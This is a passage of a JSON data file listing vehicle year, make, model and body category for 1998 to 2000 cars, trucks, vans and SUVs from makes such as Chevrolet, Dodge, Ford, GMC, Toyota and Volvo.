"Category": "Pickup"
},
{
"Year": 2000,
"Make": "Chevrolet",
"Model": "Monte Carlo",
"Category": "Coupe"
},
{
"Year": 2000,
"Make": "Chevrolet",
"Model": "Venture Passenger",
"Category": "Van/Minivan"
},
{
"Year": 2000,
"Make": "Chevrolet",
"Model": "Express 1500 Cargo",
"Category": "Van/Minivan"
},
{
"Year": 2000,
"Make": "Chevrolet",
"Model": "Silverado 2500 Extended Cab",
"Category": "Pickup"
},
{
"Year": 2000,
"Make": "Chrysler",
"Model": "Sebring",
"Category": "Coupe, Convertible"
},
{
"Year": 2000,
"Make": "Daewoo",
"Model": "Lanos",
"Category": "Sedan, Hatchback"
},
{
"Year": 2000,
"Make": "Dodge",
"Model": "Avenger",
"Category": "Coupe"
},
{
"Year": 2000,
"Make": "Daewoo",
"Model": "Leganza",
"Category": "Sedan"
},
{
"Year": 2000,
"Make": "Dodge",
"Model": "Ram 2500 Regular Cab",
"Category": "Pickup"
},
{
"Year": 2000,
"Make": "Dodge",
"Model": "Ram 1500 Regular Cab",
"Category": "Pickup"
},
{
"Year": 2000,
"Make": "Dodge",
"Model": "Ram 1500 Club Cab",
"Category": "Pickup"
},
{
"Year": 2000,
"Make": "Ford",
"Model": "Contour",
"Category": "Sedan"
},
{
"Year": 2000,
"Make": "Dodge",
"Model": "Dakota Regular Cab",
"Category": "Pickup"
},
{
"Year": 2000,
"Make": "Dodge",
"Model": "Ram Wagon 2500",
"Category": "Van/Minivan"
},
{
"Year": 2000,
"Make": "Dodge",
"Model": "Dakota Club Cab",
"Category": "Pickup"
},
{
"Year": 2000,
"Make": "Ford",
"Model": "Econoline E150 Passenger",
"Category": "Van/Minivan"
},
{
"Year": 2000,
"Make": "Ford",
"Model": "Econoline E350 Super Duty Passenger",
"Category": "Van/Minivan"
},
{
"Year": 2000,
"Make": "Dodge",
"Model": "Dakota Quad Cab",
"Category": "Pickup"
},
{
"Year": 2000,
"Make": "Dodge",
"Model": "Ram Van 1500",
"Category": "Van/Minivan"
},
{
"Year": 2000,
"Make": "Dodge",
"Model": "Ram 1500 Quad Cab",
"Category": "Pickup"
},
{
"Year": 2000,
"Make": "Dodge",
"Model": "Ram Wagon 3500",
"Category": "Van/Minivan"
},
{
"Year": 2000,
"Make": "Dodge",
"Model": "Ram 2500 Quad Cab",
"Category": "Pickup"
},
{
"Year": 2000,
"Make": "Dodge",
"Model": "Durango",
"Category": "SUV"
},
{
"Year": 2000,
"Make": "Dodge",
"Model": "Grand Caravan Passenger",
"Category": "Van/Minivan"
},
{
"Year": 2000,
"Make": "Dodge",
"Model": "Intrepid",
"Category": "Sedan"
},
{
"Year": 2000,
"Make": "Dodge",
"Model": "Ram Van 3500",
"Category": "Van/Minivan"
},
{
"Year": 2000,
"Make": "Dodge",
"Model": "Ram 3500 Quad Cab",
"Category": "Pickup"
},
{
"Year": 2000,
"Make": "Dodge",
"Model": "Ram Van 2500",
"Category": "Van/Minivan"
},
{
"Year": 2000,
"Make": "Dodge",
"Model": "Ram 3500 Regular Cab",
"Category": "Pickup"
},
{
"Year": 2000,
"Make": "Ford",
"Model": "Crown Victoria",
"Category": "Sedan"
},
{
"Year": 2000,
"Make": "Dodge",
"Model": "Ram Wagon 1500",
"Category": "Van/Minivan"
},
{
"Year": 2000,
"Make": "Dodge",
"Model": "Stratus",
"Category": "Sedan"
},
{
"Year": 2000,
"Make": "Dodge",
"Model": "Neon",
"Category": "Sedan"
},
{
"Year": 2000,
"Make": "Dodge",
"Model": "Viper",
"Category": "Convertible, Coupe"
},
{
"Year": 2000,
"Make": "Ford",
"Model": "Econoline E150 Cargo",
"Category": "Van/Minivan"
},
{
"Year": 2000,
"Make": "Ford",
"Model": "F150 Regular Cab",
"Category": "Pickup"
},
{
"Year": 2000,
"Make": "Ford",
"Model": "Econoline E350 Super Duty Cargo",
"Category": "Van/Minivan"
},
{
"Year": 2000,
"Make": "Ford",
"Model": "F250 Super Duty Super Cab",
"Category": "Pickup"
},
{
"Year": 2000,
"Make": "Ford",
"Model": "Excursion",
"Category": "SUV"
},
{
"Year": 2000,
"Make": "Ford",
"Model": "Explorer",
"Category": "SUV"
},
{
"Year": 2000,
"Make": "Ford",
"Model": "F250 Super Duty Crew Cab",
"Category": "Pickup"
},
{
"Year": 2000,
"Make": "Ford",
"Model": "Econoline E250 Cargo",
"Category": "Van/Minivan"
},
{
"Year": 2000,
"Make": "Ford",
"Model": "Escort",
"Category": "Sedan, Coupe"
},
{
"Year": 2000,
"Make": "Ford",
"Model": "F150 Super Cab",
"Category": "Pickup"
},
{
"Year": 2000,
"Make": "Ford",
"Model": "Expedition",
"Category": "SUV"
},
{
"Year": 2000,
"Make": "Ford",
"Model": "F350 Super Duty Crew Cab",
"Category": "Pickup"
},
{
"Year": 2000,
"Make": "Ford",
"Model": "Explorer Sport",
"Category": "SUV"
},
{
"Year": 2000,
"Make": "Ford",
"Model": "F250 Super Duty Regular Cab",
"Category": "Pickup"
},
{
"Year": 2000,
"Make": "Ford",
"Model": "Taurus",
"Category": "Sedan, Wagon"
},
{
"Year": 2000,
"Make": "Ford",
"Model": "F350 Super Duty Super Cab",
"Category": "Pickup"
},
{
"Year": 2000,
"Make": "GMC",
"Model": "Envoy",
"Category": "SUV"
},
{
"Year": 2000,
"Make": "GMC",
"Model": "Savana 1500 Cargo",
"Category": "Van/Minivan"
},
{
"Year": 2000,
"Make": "Ford",
"Model": "Mustang",
"Category": "Convertible, Coupe"
},
{
"Year": 2000,
"Make": "Ford",
"Model": "Focus",
"Category": "Sedan, Hatchback, Wagon"
},
{
"Year": 2000,
"Make": "Ford",
"Model": "Ranger Regular Cab",
"Category": "Pickup"
},
{
"Year": 2000,
"Make": "Ford",
"Model": "Windstar Passenger",
"Category": "Van/Minivan"
},
{
"Year": 2000,
"Make": "Ford",
"Model": "F350 Super Duty Regular Cab",
"Category": "Pickup"
},
{
"Year": 2000,
"Make": "GMC",
"Model": "Safari Cargo",
"Category": "Van/Minivan"
},
{
"Year": 2000,
"Make": "GMC",
"Model": "Jimmy",
"Category": "SUV"
},
{
"Year": 2000,
"Make": "Ford",
"Model": "Ranger Super Cab",
"Category": "Pickup"
},
{
"Year": 2000,
"Make": "Ford",
"Model": "Windstar Cargo",
"Category": "Van/Minivan"
},
{
"Year": 2000,
"Make": "GMC",
"Model": "Yukon XL 2500",
"Category": "SUV"
},
{
"Year": 2000,
"Make": "Hyundai",
"Model": "Tiburon",
"Category": "Hatchback"
},
{
"Year": 2000,
"Make": "GMC",
"Model": "Sierra (Classic) 3500 Regular Cab",
"Category": "Pickup"
},
{
"Year": 2000,
"Make": "Hyundai",
"Model": "Accent",
"Category": "Hatchback, Sedan"
},
{
"Year": 2000,
"Make": "GMC",
"Model": "Savana 3500 Cargo",
"Category": "Van/Minivan"
},
{
"Year": 2000,
"Make": "GMC",
"Model": "Sierra 1500 Extended Cab",
"Category": "Pickup"
},
{
"Year": 2000,
"Make": "INFINITI",
"Model": "G",
"Category": "Sedan"
},
{
"Year": 2000,
"Make": "GMC",
"Model": "Safari Passenger",
"Category": "Van/Minivan"
},
{
"Year": 2000,
"Make": "GMC",
"Model": "Savana 2500 Passenger",
"Category": "Van/Minivan"
},
{
"Year": 2000,
"Make": "GMC",
"Model": "Sierra 1500 Regular Cab",
"Category": "Pickup"
},
{
"Year": 2000,
"Make": "Honda",
"Model": "Civic",
"Category": "Coupe, Sedan, Hatchback"
},
{
"Year": 2000,
"Make": "GMC",
"Model": "Savana 1500 Passenger",
"Category": "Van/Minivan"
},
{
"Year": 2000,
"Make": "GMC",
"Model": "Sierra (Classic) 3500 Crew Cab",
"Category": "Pickup"
},
{
"Year": 2000,
"Make": "GMC",
"Model": "Yukon Denali",
"Category": "SUV"
},
{
"Year": 2000,
"Make": "GMC",
"Model": "Sierra (Classic) 2500 HD Extended Cab",
"Category": "Pickup"
},
{
"Year": 2000,
"Make": "GMC",
"Model": "Savana 2500 Cargo",
"Category": "Van/Minivan"
},
{
"Year": 2000,
"Make": "GMC",
"Model": "Sierra (Classic) 3500 Extended Cab",
"Category": "Pickup"
},
{
"Year": 2000,
"Make": "Honda",
"Model": "Insight",
"Category": "Hatchback"
},
{
"Year": 2000,
"Make": "GMC",
"Model": "Savana 3500 Passenger",
"Category": "Van/Minivan"
},
{
"Year": 2000,
"Make": "Honda",
"Model": "CR-V",
"Category": "SUV"
},
{
"Year": 2000,
"Make": "HUMMER",
"Model": "H1",
"Category": "SUV, Wagon"
},
{
"Year": 2000,
"Make": "GMC",
"Model": "Sonoma Extended Cab",
"Category": "Pickup"
},
{
"Year": 2000,
"Make": "GMC",
"Model": "Sierra 2500 Regular Cab",
"Category": "Pickup"
},
{
"Year": 2000,
"Make": "GMC",
"Model": "Yukon",
"Category": "SUV"
},
{
"Year": 2000,
"Make": "GMC",
"Model": "Yukon XL 1500",
"Category": "SUV"
},
{
"Year": 2000,
"Make": "Honda",
"Model": "Odyssey",
"Category": "Van/Minivan"
},
{
"Year": 2000,
"Make": "Honda",
"Model": "Prelude",
"Category": "Coupe"
},
{
"Year": 2000,
"Make": "Hyundai",
"Model": "Sonata",
"Category": "Sedan"
},
{
"Year": 2000,
"Make": "GMC",
"Model": "Sierra 2500 HD Extended Cab",
"Category": "Pickup"
},
{
"Year": 2000,
"Make": "GMC",
"Model": "Sierra 2500 HD Regular Cab",
"Category": "Pickup"
},
{
"Year": 2000,
"Make": "GMC",
"Model": "Sierra (Classic) 2500 HD Regular Cab",
"Category": "Pickup"
},
{
"Year": 2000,
"Make": "GMC",
"Model": "Sonoma Regular Cab",
"Category": "Pickup"
},
{
"Year": 2000,
"Make": "Hyundai",
"Model": "Elantra",
"Category": "Wagon, Sedan"
},
{
"Year": 2000,
"Make": "Honda",
"Model": "S2000",
"Category": "Convertible"
},
{
"Year": 2000,
"Make": "INFINITI",
"Model": "I",
"Category": "Sedan"
},
{
"Year": 2000,
"Make": "GMC",
"Model": "Sierra (Classic) 2500 Crew Cab",
"Category": "Pickup"
},
{
"Year": 2000,
"Make": "Isuzu",
"Model": "Amigo",
"Category": "SUV"
},
{
"Year": 2000,
"Make": "Honda",
"Model": "Passport",
"Category": "SUV"
},
{
"Year": 2000,
"Make": "GMC",
"Model": "Sierra 2500 Extended Cab",
"Category": "Pickup"
},
{
"Year": 2000,
"Make": "INFINITI",
"Model": "QX",
"Category": "SUV"
},
{
"Year": 2000,
"Make": "Honda",
"Model": "Accord",
"Category": "Sedan, Coupe"
},
{
"Year": 2000,
"Make": "Isuzu",
"Model": "Trooper",
"Category": "SUV"
},
{
"Year": 2000,
"Make": "Isuzu",
"Model": "Hombre Spacecab",
"Category": "Pickup"
},
{
"Year": 2000,
"Make": "Isuzu",
"Model": "Rodeo",
"Category": "SUV"
},
{
"Year": 2000,
"Make": "INFINITI",
"Model": "Q",
"Category": "Sedan"
},
{
"Year": 2000,
"Make": "Isuzu",
"Model": "Hombre Regular Cab",
"Category": "Pickup"
},
{
"Year": 2000,
"Make": "Isuzu",
"Model": "VehiCROSS",
"Category": "SUV"
},
{
"Year": 2000,
"Make": "Jaguar",
"Model": "S-Type",
"Category": "Sedan"
},
{
"Year": 2000,
"Make": "Jaguar",
"Model": "XJ",
"Category": "Sedan"
},
{
"Year": 2000,
"Make": "Jaguar",
"Model": "XK",
"Category": "Coupe, Convertible"
},
{
"Year": 2000,
"Make": "Jeep",
"Model": "Cherokee",
"Category": "SUV"
},
{
"Year": 2000,
"Make": "Jeep",
"Model": "Wrangler",
"Category": "SUV"
},
{
"Year": 2000,
"Make": "Kia",
"Model": "Sportage",
"Category": "SUV"
},
{
"Year": 2000,
"Make": "Lincoln",
"Model": "LS",
"Category": "Sedan"
},
{
"Year": 2000,
"Make": "Kia",
"Model": "Sephia",
"Category": "Sedan"
},
{
"Year": 2000,
"Make": "Lexus",
"Model": "RX",
"Category": "SUV"
},
{
"Year": 2000,
"Make": "Land Rover",
"Model": "Discovery Series II",
"Category": "SUV"
},
{
"Year": 2000,
"Make": "Jeep",
"Model": "Grand Cherokee",
"Category": "SUV"
},
{
"Year": 2000,
"Make": "Lexus",
"Model": "LS",
"Category": "Sedan"
},
{
"Year": 2000,
"Make": "Kia",
"Model": "Spectra",
"Category": "Hatchback"
},
{
"Year": 2000,
"Make": "Lincoln",
"Model": "Continental",
"Category": "Sedan"
},
{
"Year": 2000,
"Make": "Lexus",
"Model": "GS",
"Category": "Sedan"
},
{
"Year": 2000,
"Make": "Lexus",
"Model": "SC",
"Category": "Coupe"
},
{
"Year": 2000,
"Make": "Lexus",
"Model": "ES",
"Category": "Sedan"
},
{
"Year": 2000,
"Make": "Lexus",
"Model": "LX",
"Category": "SUV"
},
{
"Year": 2000,
"Make": "MAZDA",
"Model": "Millenia",
"Category": "Sedan"
},
{
"Year": 2000,
"Make": "MAZDA",
"Model": "B-Series Cab Plus",
"Category": "Pickup"
},
{
"Year": 2000,
"Make": "MAZDA",
"Model": "626",
"Category": "Sedan"
},
{
"Year": 2000,
"Make": "Lincoln",
"Model": "Navigator",
"Category": "SUV"
},
{
"Year": 2000,
"Make": "Land Rover",
"Model": "Range Rover",
"Category": "SUV"
},
{
"Year": 2000,
"Make": "Mercedes-Benz",
"Model": "M-Class",
"Category": "SUV"
},
{
"Year": 2000,
"Make": "Mercedes-Benz",
"Model": "S-Class",
"Category": "Sedan"
},
{
"Year": 2000,
"Make": "Mitsubishi",
"Model": "Eclipse",
"Category": "Coupe"
},
{
"Year": 2000,
"Make": "Lincoln",
"Model": "Town Car",
"Category": "Sedan"
},
{
"Year": 2000,
"Make": "Mercury",
"Model": "Mystique",
"Category": "Sedan"
},
{
"Year": 2000,
"Make": "MAZDA",
"Model": "MPV",
"Category": "Van/Minivan"
},
{
"Year": 2000,
"Make": "Mercury",
"Model": "Cougar",
"Category": "Coupe"
},
{
"Year": 2000,
"Make": "Mercury",
"Model": "Mountaineer",
"Category": "SUV"
},
{
"Year": 2000,
"Make": "MAZDA",
"Model": "B-Series Regular Cab",
"Category": "Pickup"
},
{
"Year": 2000,
"Make": "Mercedes-Benz",
"Model": "SL-Class",
"Category": "Convertible"
},
{
"Year": 2000,
"Make": "MAZDA",
"Model": "MX-5 Miata",
"Category": "Convertible"
},
{
"Year": 2000,
"Make": "Mitsubishi",
"Model": "Diamante",
"Category": "Sedan"
},
{
"Year": 2000,
"Make": "MAZDA",
"Model": "Protege",
"Category": "Sedan"
},
{
"Year": 2000,
"Make": "Mercedes-Benz",
"Model": "CL-Class",
"Category": "Coupe"
},
{
"Year": 2000,
"Make": "Mercedes-Benz",
"Model": "C-Class",
"Category": "Sedan"
},
{
"Year": 2000,
"Make": "Mercedes-Benz",
"Model": "CLK-Class",
"Category": "Coupe, Convertible"
},
{
"Year": 2000,
"Make": "Mercedes-Benz",
"Model": "SLK-Class",
"Category": "Convertible"
},
{
"Year": 2000,
"Make": "Mercedes-Benz",
"Model": "E-Class",
"Category": "Sedan, Wagon"
},
{
"Year": 2000,
"Make": "Mercury",
"Model": "Grand Marquis",
"Category": "Sedan"
},
{
"Year": 2000,
"Make": "Mercury",
"Model": "Villager",
"Category": "Van/Minivan"
},
{
"Year": 2000,
"Make": "Mitsubishi",
"Model": "Galant",
"Category": "Sedan"
},
{
"Year": 2000,
"Make": "Mitsubishi",
"Model": "Montero Sport",
"Category": "SUV"
},
{
"Year": 2000,
"Make": "Nissan",
"Model": "Maxima",
"Category": "Sedan"
},
{
"Year": 2000,
"Make": "Mercury",
"Model": "Sable",
"Category": "Wagon, Sedan"
},
{
"Year": 2000,
"Make": "Oldsmobile",
"Model": "Bravada",
"Category": "SUV"
},
{
"Year": 2000,
"Make": "Mitsubishi",
"Model": "Montero",
"Category": "SUV"
},
{
"Year": 2000,
"Make": "Plymouth",
"Model": "Grand Voyager",
"Category": "Van/Minivan"
},
{
"Year": 2000,
"Make": "Mitsubishi",
"Model": "Mirage",
"Category": "Coupe, Sedan"
},
{
"Year": 2000,
"Make": "Nissan",
"Model": "Frontier Regular Cab",
"Category": "Pickup"
},
{
"Year": 2000,
"Make": "Nissan",
"Model": "Altima",
"Category": "Sedan"
},
{
"Year": 2000,
"Make": "Nissan",
"Model": "Frontier Crew Cab",
"Category": "Pickup"
},
{
"Year": 2000,
"Make": "Nissan",
"Model": "Pathfinder",
"Category": "SUV"
},
{
"Year": 2000,
"Make": "Plymouth",
"Model": "Breeze",
"Category": "Sedan"
},
{
"Year": 2000,
"Make": "Nissan",
"Model": "Quest",
"Category": "Van/Minivan"
},
{
"Year": 2000,
"Make": "Nissan",
"Model": "Xterra",
"Category": "SUV"
},
{
"Year": 2000,
"Make": "Nissan",
"Model": "Frontier King Cab",
"Category": "Pickup"
},
{
"Year": 2000,
"Make": "Oldsmobile",
"Model": "Alero",
"Category": "Sedan, Coupe"
},
{
"Year": 2000,
"Make": "Suzuki",
"Model": "Esteem",
"Category": "Sedan, Wagon"
},
{
"Year": 2000,
"Make": "Pontiac",
"Model": "Bonneville",
"Category": "Sedan"
},
{
"Year": 2000,
"Make": "Oldsmobile",
"Model": "Silhouette",
"Category": "Van/Minivan"
},
{
"Year": 2000,
"Make": "Porsche",
"Model": "Boxster",
"Category": "Convertible"
},
{
"Year": 2000,
"Make": "Saturn",
"Model": "L-Series",
"Category": "Sedan, Wagon"
},
{
"Year": 2000,
"Make": "Pontiac",
"Model": "Firebird",
"Category": "Coupe, Convertible"
},
{
"Year": 2000,
"Make": "Pontiac",
"Model": "Sunfire",
"Category": "Sedan, Coupe, Convertible"
},
{
"Year": 2000,
"Make": "Pontiac",
"Model": "Grand Prix",
"Category": "Sedan, Coupe"
},
{
"Year": 2000,
"Make": "Pontiac",
"Model": "Grand Am",
"Category": "Sedan, Coupe"
},
{
"Year": 2000,
"Make": "Nissan",
"Model": "Sentra",
"Category": "Sedan"
},
{
"Year": 2000,
"Make": "Saturn",
"Model": "S-Series",
"Category": "Coupe, Sedan, Wagon"
},
{
"Year": 2000,
"Make": "Toyota",
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},
{
"Year": 2000,
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},
{
"Year": 2000,
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},
{
"Year": 2000,
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},
{
"Year": 2000,
"Make": "Toyota",
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},
{
"Year": 2000,
"Make": "Porsche",
"Model": "911",
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},
{
"Year": 2000,
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},
{
"Year": 2000,
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},
{
"Year": 2000,
"Make": "Suzuki",
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},
{
"Year": 2000,
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},
{
"Year": 2000,
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},
{
"Year": 2000,
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},
{
"Year": 2000,
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},
{
"Year": 2000,
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},
{
"Year": 2000,
"Make": "Pontiac",
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},
{
"Year": 2000,
"Make": "Toyota",
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},
{
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{
"Year": 2000,
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},
{
"Year": 2000,
"Make": "Suzuki",
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},
{
"Year": 2000,
"Make": "Toyota",
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},
{
"Year": 2000,
"Make": "Toyota",
"Model": "Land Cruiser",
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},
{
"Year": 2000,
"Make": "Toyota",
"Model": "4Runner",
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},
{
"Year": 2000,
"Make": "Subaru",
"Model": "Legacy",
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},
{
"Year": 2000,
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},
{
"Year": 2000,
"Make": "Toyota",
"Model": "Solara",
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},
{
"Year": 2000,
"Make": "Toyota",
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},
{
"Year": 2000,
"Make": "Toyota",
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},
{
"Year": 2000,
"Make": "Toyota",
"Model": "RAV4",
"Category": "SUV"
},
{
"Year": 2000,
"Make": "Toyota",
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},
{
"Year": 2000,
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},
{
"Year": 2000,
"Make": "Toyota",
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},
{
"Year": 2000,
"Make": "Volkswagen",
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},
{
"Year": 2000,
"Make": "Volkswagen",
"Model": "Jetta",
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},
{
"Year": 2000,
"Make": "Volkswagen",
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},
{
"Year": 2000,
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},
{
"Year": 2000,
"Make": "Volkswagen",
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},
{
"Year": 2000,
"Make": "Volvo",
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},
{
"Year": 2000,
"Make": "Volvo",
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{
"Year": 1999,
"Make": "Acura",
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},
{
"Year": 1999,
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},
{
"Year": 2000,
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},
{
"Year": 2000,
"Make": "Volvo",
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},
{
"Year": 2000,
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},
{
"Year": 2000,
"Make": "Volvo",
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},
{
"Year": 2000,
"Make": "Volvo",
"Model": "S80",
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{
"Year": 1999,
"Make": "Acura",
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},
{
"Year": 1999,
"Make": "Acura",
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{
"Year": 1999,
"Make": "Acura",
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{
"Year": 1999,
"Make": "Buick",
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},
{
"Year": 1999,
"Make": "Chevrolet",
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},
{
"Year": 1999,
"Make": "BMW",
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},
{
"Year": 1999,
"Make": "BMW",
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{
"Year": 1999,
"Make": "Cadillac",
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},
{
"Year": 1999,
"Make": "Audi",
"Model": "A4",
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},
{
"Year": 1999,
"Make": "Chevrolet",
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},
{
"Year": 1999,
"Make": "Acura",
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{
"Year": 1999,
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{
"Year": 1999,
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{
"Year": 1999,
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{
"Year": 1999,
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{
"Year": 1999,
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{
"Year": 1999,
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{
"Year": 1999,
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{
"Year": 1999,
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{
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{
"Year": 1999,
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{
"Year": 1999,
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{
"Year": 1999,
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{
"Year": 1999,
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{
"Year": 1999,
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{
"Year": 1999,
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{
"Year": 1999,
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{
"Year": 1999,
"Make": "BMW",
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{
"Year": 1999,
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{
"Year": 1999,
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{
"Year": 1999,
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{
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{
"Year": 1999,
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{
"Year": 1999,
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{
"Year": 1999,
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{
"Year": 1999,
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{
"Year": 1999,
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{
"Year": 1999,
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{
"Year": 1999,
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{
"Year": 1999,
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{
"Year": 1999,
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{
"Year": 1999,
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{
"Year": 1999,
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"Year": 1999,
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{
"Year": 1999,
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{
"Year": 1999,
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{
"Year": 1999,
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{
"Year": 1999,
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{
"Year": 1999,
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{
"Year": 1999,
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{
"Year": 1999,
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{
"Year": 1999,
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"Year": 1999,
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{
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"Year": 1999,
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{
"Year": 1999,
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"Year": 1999,
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"Year": 1999,
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{
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"Year": 1999,
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{
"Year": 1999,
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{
"Year": 1999,
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{
"Year": 1999,
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{
"Year": 1999,
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{
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{
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{
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{
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"Year": 1999,
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{
"Year": 1999,
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{
"Year": 1999,
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{
"Year": 1999,
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{
"Year": 1999,
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{
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{
"Year": 1999,
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{
"Year": 1999,
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{
"Year": 1999,
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"Year": 1999,
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{
"Year": 1999,
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{
"Year": 1999,
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{
"Year": 1999,
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{
"Year": 1999,
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"Year": 1999,
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{
"Year": 1999,
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{
"Year": 1999,
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{
"Year": 1999,
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{
"Year": 1999,
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{
"Year": 1999,
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{
"Year": 1999,
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{
"Year": 1999,
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{
"Year": 1999,
"Make": "Ford",
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{
"Year": 1999,
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{
"Year": 1999,
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{
"Year": 1999,
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"Category": "Pickup"
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{
"Year": 1999,
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{
"Year": 1999,
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{
"Year": 1999,
"Make": "Ford",
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{
"Year": 1999,
"Make": "GMC",
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{
"Year": 1999,
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{
"Year": 1999,
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"Category": "Pickup"
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{
"Year": 1999,
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{
"Year": 1999,
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{
"Year": 1999,
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},
{
"Year": 1999,
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"Category": "Pickup"
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{
"Year": 1999,
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"Category": "Van/Minivan"
},
{
"Year": 1999,
"Make": "GMC",
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"Category": "Van/Minivan"
},
{
"Year": 1999,
"Make": "GMC",
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{
"Year": 1999,
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"Category": "Pickup"
},
{
"Year": 1999,
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"Category": "Pickup"
},
{
"Year": 1999,
"Make": "GMC",
"Model": "Envoy",
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{
"Year": 1999,
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"Category": "Van/Minivan"
},
{
"Year": 1999,
"Make": "GMC",
"Model": "Savana 3500 Passenger",
"Category": "Van/Minivan"
},
{
"Year": 1999,
"Make": "GMC",
"Model": "2500 HD Extended Cab",
"Category": "Pickup"
},
{
"Year": 1999,
"Make": "Honda",
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{
"Year": 1999,
"Make": "GMC",
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"Category": "Pickup"
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{
"Year": 1999,
"Make": "Ford",
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"Category": "Pickup"
},
{
"Year": 1999,
"Make": "Isuzu",
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"Category": "SUV"
},
{
"Year": 1999,
"Make": "GMC",
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"Category": "Pickup"
},
{
"Year": 1999,
"Make": "GMC",
"Model": "Safari Passenger",
"Category": "Van/Minivan"
},
{
"Year": 1999,
"Make": "GMC",
"Model": "Sierra 2500 Regular Cab",
"Category": "Pickup"
},
{
"Year": 1999,
"Make": "GMC",
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"Category": "Pickup"
},
{
"Year": 1999,
"Make": "Hyundai",
"Model": "Tiburon",
"Category": "Hatchback"
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{
"Year": 1999,
"Make": "GMC",
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"Category": "Van/Minivan"
},
{
"Year": 1999,
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},
{
"Year": 1999,
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},
{
"Year": 1999,
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"Category": "Pickup"
},
{
"Year": 1999,
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},
{
"Year": 1999,
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},
{
"Year": 1999,
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},
{
"Year": 1999,
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},
{
"Year": 1999,
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},
{
"Year": 1999,
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},
{
"Year": 1999,
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},
{
"Year": 1999,
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{
"Year": 1999,
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{
"Year": 1999,
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{
"Year": 1999,
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{
"Year": 1999,
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},
{
"Year": 1999,
"Make": "Jeep",
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},
{
"Year": 1999,
"Make": "INFINITI",
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{
"Year": 1999,
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{
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{
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{
"Year": 1999,
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{
"Year": 1999,
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{
"Year": 1999,
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{
"Year": 1999,
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{
"Year": 1999,
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{
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{
"Year": 1999,
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{
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},
{
"Year": 1999,
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{
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{
"Year": 1999,
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{
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{
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{
"Year": 1999,
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{
"Year": 1999,
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{
"Year": 1999,
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{
"Year": 1999,
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{
"Year": 1999,
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{
"Year": 1999,
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{
"Year": 1999,
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{
"Year": 1999,
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},
{
"Year": 1999,
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{
"Year": 1999,
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{
"Year": 1999,
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{
"Year": 1999,
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{
"Year": 1999,
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{
"Year": 1999,
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{
"Year": 1999,
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"Model": "MX-5 Miata",
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{
"Year": 1999,
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{
"Year": 1999,
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{
"Year": 1999,
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{
"Year": 1999,
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{
"Year": 1999,
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{
"Year": 1999,
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{
"Year": 1999,
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{
"Year": 1999,
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{
"Year": 1999,
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{
"Year": 1999,
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{
"Year": 1999,
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{
"Year": 1999,
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{
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{
"Year": 1999,
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{
"Year": 1999,
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{
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{
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{
"Year": 1999,
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{
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{
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{
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{
"Year": 1999,
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{
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{
"Year": 1999,
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{
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{
"Year": 1999,
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{
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{
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{
"Year": 1999,
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{
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{
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{
"Year": 1999,
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{
"Year": 1999,
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{
"Year": 1999,
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{
"Year": 1999,
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{
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{
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{
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{
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{
"Year": 1999,
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{
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{
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{
"Year": 1999,
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{
"Year": 1999,
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{
"Year": 1999,
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{
"Year": 1999,
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{
"Year": 1999,
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{
"Year": 1999,
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{
"Year": 1999,
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{
"Year": 1999,
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{
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{
"Year": 1999,
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{
"Year": 1999,
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{
"Year": 1999,
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{
"Year": 1999,
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{
"Year": 1999,
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{
"Year": 1999,
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{
"Year": 1999,
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{
"Year": 1999,
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{
"Year": 1999,
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{
"Year": 1999,
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{
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{
"Year": 1999,
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{
"Year": 1999,
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{
"Year": 1999,
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{
"Year": 1999,
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{
"Year": 1999,
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{
"Year": 1999,
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{
"Year": 1999,
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{
"Year": 1999,
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{
"Year": 1999,
"Make": "Toyota",
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{
"Year": 1999,
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},
{
"Year": 1999,
"Make": "Suzuki",
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},
{
"Year": 1999,
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},
{
"Year": 1999,
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},
{
"Year": 1999,
"Make": "Toyota",
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"Category": "SUV"
},
{
"Year": 1999,
"Make": "Toyota",
"Model": "Sienna",
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},
{
"Year": 1999,
"Make": "Toyota",
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},
{
"Year": 1999,
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},
{
"Year": 1999,
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{
"Year": 1999,
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"Model": "GTI (New)",
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{
"Year": 1999,
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},
{
"Year": 1999,
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},
{
"Year": 1998,
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},
{
"Year": 1999,
"Make": "Volkswagen",
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},
{
"Year": 1999,
"Make": "Volvo",
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{
"Year": 1998,
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},
{
"Year": 1999,
"Make": "Volvo",
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},
{
"Year": 1999,
"Make": "Volvo",
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{
"Year": 1999,
"Make": "Volkswagen",
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{
"Year": 1998,
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{
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{
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},
{
"Year": 1998,
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},
{
"Year": 1998,
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{
"Year": 1998,
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"Category": "Sedan, Wagon"
},
{
"Year": 1998,
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{
"Year": 1998,
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{
"Year": 1998,
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{
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{
"Year": 1998,
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},
{
"Year": 1998,
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{
"Year": 1998,
"Make": "BMW",
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},
{
"Year": 1998,
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},
{
"Year": 1998,
"Make": "BMW",
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},
{
"Year": 1998,
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{
"Year": 1998,
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{
"Year": 1998,
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{
"Year": 1998,
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{
"Year": 1998,
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{
"Year": 1998,
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{
"Year": 1998,
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},
{
"Year": 1998,
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"Category": "Pickup"
},
{
"Year": 1998,
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"Category": "Pickup"
},
{
"Year": 1998,
"Make": "Chevrolet",
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"Category": "SUV"
},
{
"Year": 1998,
"Make": "Chevrolet",
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"Category": "Van/Minivan"
},
{
"Year": 1998,
"Make": "Chevrolet",
"Model": "Camaro",
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},
{
"Year": 1998,
"Make": "Chevrolet",
"Model": "2500 Regular Cab",
"Category": "Pickup"
},
{
"Year": 1998,
"Make": "Chevrolet",
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"Category": "Coupe"
},
{
"Year": 1998,
"Make": "Chevrolet",
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"Category": "Pickup"
},
{
"Year": 1998,
"Make": "Chevrolet",
"Model": "G-Series 1500",
"Category": "Van/Minivan"
},
{
"Year": 1998,
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"Category": "Pickup"
},
{
"Year": 1998,
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},
{
"Year": 1998,
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"Category": "Pickup"
},
{
"Year": 1998,
"Make": "Chevrolet",
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"Category": "Pickup"
},
{
"Year": 1998,
"Make": "Chevrolet",
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},
{
"Year": 1998,
"Make": "Cadillac",
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},
{
"Year": 1998,
"Make": "Chevrolet",
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"Category": "Pickup"
},
{
"Year": 1998,
"Make": "Chevrolet",
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"Category": "Van/Minivan"
},
{
"Year": 1998,
"Make": "Chevrolet",
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"Category": "Van/Minivan"
},
{
"Year": 1998,
"Make": "Chevrolet",
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"Category": "Van/Minivan"
},
{
"Year": 1998,
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"Category": "Van/Minivan"
},
{
"Year": 1998,
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"Model": "Corvette",
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},
{
"Year": 1998,
"Make": "Chevrolet",
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},
{
"Year": 1998,
"Make": "Chevrolet",
"Model": "G-Series 2500",
"Category": "Van/Minivan"
},
{
"Year": 1998,
"Make": "Chevrolet",
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},
{
"Year": 1998,
"Make": "Chevrolet",
"Model": "Suburban 2500",
"Category": "SUV"
},
{
"Year": 1998,
"Make": "Chevrolet",
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},
{
"Year": 1998,
